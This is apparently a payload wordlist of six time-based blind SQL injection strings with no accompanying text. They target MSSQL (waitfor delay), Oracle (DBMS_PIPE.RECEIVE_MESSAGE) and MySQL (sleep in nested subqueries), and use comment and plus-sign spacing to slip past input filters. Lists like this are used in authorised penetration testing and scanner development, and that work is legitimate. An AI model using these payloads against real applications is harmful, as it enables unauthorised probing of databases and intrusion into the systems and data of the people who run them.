1'and(select+1)>0waitfor/**/delay'0:0:3
1/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('w',3)
1'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('w',3)='w
(select*from(select+sleep(3)union/**/select+1)a)
1'and(select*from(select+sleep(3))a/**/union/**/select+1)='
1"and(select*from(select+sleep(3))a/**/union/**/select+1)="